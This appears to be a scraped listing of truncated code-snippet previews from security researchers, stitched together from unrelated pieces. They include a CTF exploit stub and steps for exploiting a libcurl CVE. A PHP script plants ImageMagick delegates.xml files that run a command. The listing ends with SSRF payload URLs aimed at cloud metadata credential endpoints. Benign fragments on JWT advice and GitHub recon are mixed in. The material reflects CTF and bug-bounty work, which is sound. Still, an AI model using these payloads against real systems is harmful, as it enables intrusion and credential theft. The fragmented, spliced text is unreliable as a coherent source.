fransr

var logger = console.trace;

// ELEMENT

;(getElementByIdCopy => {
  Element.prototype.getElementById = function(q) {
    logger('getElementById', q, this, this.innerHTML);
    return Reflect.apply(getElementByIdCopy, this, [q])
  }
})(Element.prototype.getElementById)

mala

Smoozサービス終了に寄せて

前置き

• この文章と、それに含まれる考察や各サービスへの脆弱性報告などはmala個人の活動であり、所属している企業とは関係ありません。
• 一方で私は、企業が閲覧履歴を収集して何をしたいのか、所属してる企業や他社事例について、ある程度詳しい当事者でもあります。
• 一般論として書けることは書けるが、(業務上知り得た知識で開示されてないものなど)個別具体的なことは書けないこともあり、また観測範囲に偏りがある可能性もあります。

Smoozに報告した脆弱性2件

shpik-kr

from pwn import *

#r = process('./plane_market')
r = remote('tasks.aeroctf.com', 33087)


c0 = lambda:r.recvuntil(':')
c1 = lambda:r.recvuntil('>')
s = lambda x:r.send(str(x))
sl = lambda x:r.sendline(str(x))

PaulCher

0. Confirm that you have unpatched version of libcurl, which contains CVE-2019-5482
1. Update ip addresses at the source files
2. Launch srv.py on the server
3. Upload sol.php via curl: curl http://$URL:$PORT/ -d '[email protected]'

icchy

123;
    return 123;
}
extern void *opendir(const char *);
extern void *readdir(void *);
extern void *shmat(int, const void *, int);
typedef struct {
    ino_t d_ino;
    off_t d_off;
    unsigned short d_reclen;

tyage

<?php
$home = '/tmp/84d99af2ce44bb1dd3398190b930c8ac';
ini_set('display_errors', 1); 
mkdir("$home/.magick/");
file_put_contents("$home/.magick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
mkdir("$home/.config/");
mkdir("$home/.config/ImageMagick");
file_put_contents("$home/.config/ImageMagick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
touch("$home/test.foo");
$_ENV['HOME'] = $home;

samsch

Stop using JWTs!

TLDR: JWTs should not be used for keeping your user logged in. They are not designed for this purpose, they are not secure, and there is a much better tool which is designed for it: regular cookie sessions.

If you've got a bit of time to watch a presentation on it, I highly recommend this talk: https://www.youtube.com/watch?v=pYeekwv3vC4 (Note that other topics are largely skimmed over, such as CSRF protection. You should learn about other topics from other sources. Also note that "valid" usecases for JWTs at the end of the video can also be easily handled by other, better, and more secure tools. Specifically, PASETO.)

A related topic: Don't use localStorage (or sessionStorage) for authentication credentials, including JWT tokens: https://www.rdegges.com/2018/please-stop-using-local-storage/

The reason to avoid JWTs comes down to a couple different points:

• The JWT specification is specifically designed only for very short-live tokens (~5 minute or less). Sessions

EdOverflow

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

Jinmo

/*
 * Copyright (c) 1996, 1998, Oracle and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.  Oracle designates this
 * particular file as subject to the "Classpath" exception as provided
 * by Oracle in the LICENSE file that accompanied this code.
 *

BuffaloWill

## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]

## AWS 
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]